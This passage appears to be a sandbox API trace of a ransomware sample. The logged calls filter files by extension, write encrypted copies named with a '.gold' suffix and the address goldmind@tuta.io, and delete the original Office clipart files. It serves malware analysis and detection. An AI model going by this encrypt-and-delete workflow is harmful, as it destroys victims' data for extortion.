(lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0051.285] lstrlenW (lpString=".zip") returned 4 [0051.285] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.285] lstrlenW (lpString=".rar") returned 4 [0051.285] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.285] lstrlenW (lpString=".bz2") returned 4 [0051.285] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.285] lstrlenW (lpString=".7z") returned 3 [0051.285] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0051.285] lstrlenW (lpString=".dbf") returned 4 [0051.285] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0051.285] lstrlenW (lpString=".1cd") returned 4 [0051.285] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0051.285] lstrlenW (lpString=".jpg") returned 4 [0051.285] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0051.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0051.285] lstrlenW (lpString=".doc") returned 4 [0051.285] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.285] lstrlenW (lpString=".docx") returned 5 [0051.285] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.285] lstrlenW (lpString=".pdf") returned 4 [0051.285] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.285] lstrlenW (lpString=".xls") returned 4 [0051.285] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.285] lstrlenW (lpString=".xlsx") returned 5 [0051.285] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.285] lstrlenW (lpString=".ppt") returned 4 [0051.285] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0051.285] lstrlenW (lpString=".zip") returned 4 [0051.285] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.285] lstrlenW (lpString=".rar") returned 4 [0051.285] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.285] lstrlenW (lpString=".bz2") returned 4 [0051.285] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.285] lstrlenW (lpString=".7z") returned 3 [0051.285] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0051.285] lstrlenW (lpString=".dbf") returned 4 [0051.285] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0051.285] lstrlenW (lpString=".1cd") returned 4 [0051.285] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0051.286] lstrlenW (lpString=".jpg") returned 4 [0051.286] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.286] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0051.286] lstrlenW (lpString="BD20013_.WMF") returned 12 [0051.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0051.286] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=11058) returned 1 [0051.286] CloseHandle (hObject=0x190) returned 1 [0051.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf")) returned 0x20 [0051.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0051.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0051.286] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.286] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0051.287] GetLastError () returned 0x0 [0051.287] ReadFile (in: hFile=0x190, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x2b32, lpOverlapped=0x0) returned 1 [0051.288] WriteFile (in: hFile=0x218, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x2b40, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x2b40, lpOverlapped=0x0) returned 1 [0051.288] ReadFile (in: hFile=0x190, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.289] WriteFile (in: hFile=0x218, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.289] SetEndOfFile (hFile=0x218) returned 1 [0051.289] CloseHandle (hObject=0x218) returned 1 [0051.289] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.289] SetEndOfFile (hFile=0x190) returned 1 [0051.290] CloseHandle (hObject=0x190) returned 1 [0051.290] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0051.290] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf")) returned 1 [0051.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0051.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0051.290] lstrlenW (lpString=".doc") returned 4 [0051.290] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.290] lstrlenW (lpString=".docx") returned 5 [0051.290] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.290] lstrlenW (lpString=".pdf") returned 4 [0051.290] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.290] lstrlenW (lpString=".xls") returned 4 [0051.290] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.290] lstrlenW (lpString=".xlsx") returned 5 [0051.290] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.290] lstrlenW (lpString=".ppt") returned 4 [0051.290] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0051.290] lstrlenW (lpString=".zip") returned 4 [0051.290] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.290] lstrlenW (lpString=".rar") returned 4 [0051.290] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.290] lstrlenW (lpString=".bz2") returned 4 [0051.290] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.290] lstrlenW (lpString=".7z") returned 3 [0051.290] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0051.290] lstrlenW (lpString=".dbf") returned 4 [0051.290] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0051.291] lstrlenW (lpString=".1cd") returned 4 [0051.291] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0051.291] lstrlenW (lpString=".jpg") returned 4 [0051.291] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0051.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0051.291] lstrlenW (lpString=".doc") returned 4 [0051.291] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.291] lstrlenW (lpString=".docx") returned 5 [0051.291] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.291] lstrlenW (lpString=".pdf") returned 4 [0051.291] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.291] lstrlenW (lpString=".xls") returned 4 [0051.291] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.291] lstrlenW (lpString=".xlsx") returned 5 [0051.291] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.291] lstrlenW (lpString=".ppt") returned 4 [0051.291] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0051.291] lstrlenW (lpString=".zip") returned 4 [0051.291] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.291] lstrlenW (lpString=".rar") returned 4 [0051.291] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.291] lstrlenW (lpString=".bz2") returned 4 [0051.291] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.291] lstrlenW (lpString=".7z") returned 3 [0051.291] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0051.291] lstrlenW (lpString=".dbf") returned 4 [0051.291] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0051.291] lstrlenW (lpString=".1cd") returned 4 [0051.291] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0051.291] lstrlenW (lpString=".jpg") returned 4 [0051.291] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.291] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0051.291] lstrlenW (lpString="BL00008_.WMF") returned 12 [0051.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0051.292] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=12520) returned 1 [0051.292] CloseHandle (hObject=0x190) returned 1 [0051.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf")) returned 0x20 [0051.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0051.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0051.292] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.292] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0051.293] GetLastError () returned 0x0 [0051.293] ReadFile (in: hFile=0x190, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x30e8, lpOverlapped=0x0) returned 1 [0051.294] WriteFile (in: hFile=0x218, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x30f0, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x30f0, lpOverlapped=0x0) returned 1 [0051.295] ReadFile (in: hFile=0x190, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.295] WriteFile (in: hFile=0x218, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.295] SetEndOfFile (hFile=0x218) returned 1 [0051.295] CloseHandle (hObject=0x218) returned 1 [0051.295] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.295] SetEndOfFile (hFile=0x190) returned 1 [0051.296] CloseHandle (hObject=0x190) returned 1 [0051.296] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0051.296] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf")) returned 1 [0051.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0051.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0051.296] lstrlenW (lpString=".doc") returned 4 [0051.296] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.296] lstrlenW (lpString=".docx") returned 5 [0051.296] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.296] lstrlenW (lpString=".pdf") returned 4 [0051.296] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.296] lstrlenW (lpString=".xls") returned 4 [0051.296] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.296] lstrlenW (lpString=".xlsx") returned 5 [0051.296] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.296] lstrlenW (lpString=".ppt") returned 4 [0051.297] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0051.297] lstrlenW (lpString=".zip") returned 4 [0051.297] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.297] lstrlenW (lpString=".rar") returned 4 [0051.297] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.297] lstrlenW (lpString=".bz2") returned 4 [0051.297] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.297] lstrlenW (lpString=".7z") returned 3 [0051.297] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0051.297] lstrlenW (lpString=".dbf") returned 4 [0051.297] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0051.297] lstrlenW (lpString=".1cd") returned 4 [0051.297] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0051.297] lstrlenW (lpString=".jpg") returned 4 [0051.297] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0051.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0051.297] lstrlenW (lpString=".doc") returned 4 [0051.297] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.297] lstrlenW (lpString=".docx") returned 5 [0051.297] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.297] lstrlenW (lpString=".pdf") returned 4 [0051.297] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.297] lstrlenW (lpString=".xls") returned 4 [0051.297] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.297] lstrlenW (lpString=".xlsx") returned 5 [0051.297] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.297] lstrlenW (lpString=".ppt") returned 4 [0051.297] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0051.297] lstrlenW (lpString=".zip") returned 4 [0051.297] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.297] lstrlenW (lpString=".rar") returned 4 [0051.297] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.297] lstrlenW (lpString=".bz2") returned 4 [0051.297] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.297] lstrlenW (lpString=".7z") returned 3 [0051.297] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0051.297] lstrlenW (lpString=".dbf") returned 4 [0051.297] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0051.297] lstrlenW (lpString=".1cd") returned 4 [0051.297] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0051.297] lstrlenW (lpString=".jpg") returned 4 [0051.297] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.298] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0051.298] lstrlenW (lpString="BL00012_.WMF") returned 12 [0051.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0053.388] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=9818) returned 1 [0053.388] CloseHandle (hObject=0x214) returned 1 [0053.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf")) returned 0x20 [0053.389] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0053.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0053.389] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.389] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0053.389] GetLastError () returned 0x0 [0053.389] ReadFile (in: hFile=0x214, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x265a, lpOverlapped=0x0) returned 1 [0053.391] WriteFile (in: hFile=0x20c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x2660, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x2660, lpOverlapped=0x0) returned 1 [0053.392] ReadFile (in: hFile=0x214, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.392] WriteFile (in: hFile=0x20c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.392] SetEndOfFile (hFile=0x20c) returned 1 [0053.392] CloseHandle (hObject=0x20c) returned 1 [0053.393] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.393] SetEndOfFile (hFile=0x214) returned 1 [0053.393] CloseHandle (hObject=0x214) returned 1 [0053.393] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0053.393] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf")) returned 1 [0053.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0053.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0053.394] lstrlenW (lpString=".doc") returned 4 [0053.394] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.394] lstrlenW (lpString=".docx") returned 5 [0053.394] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.394] lstrlenW (lpString=".pdf") returned 4 [0053.394] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.394] lstrlenW (lpString=".xls") returned 4 [0053.394] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.394] lstrlenW (lpString=".xlsx") returned 5 [0053.394] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.394] lstrlenW (lpString=".ppt") returned 4 [0053.394] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0053.394] lstrlenW (lpString=".zip") returned 4 [0053.394] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.394] lstrlenW (lpString=".rar") returned 4 [0053.394] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.394] lstrlenW (lpString=".bz2") returned 4 [0053.394] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.394] lstrlenW (lpString=".7z") returned 3 [0053.394] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0053.394] lstrlenW (lpString=".dbf") returned 4 [0053.394] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 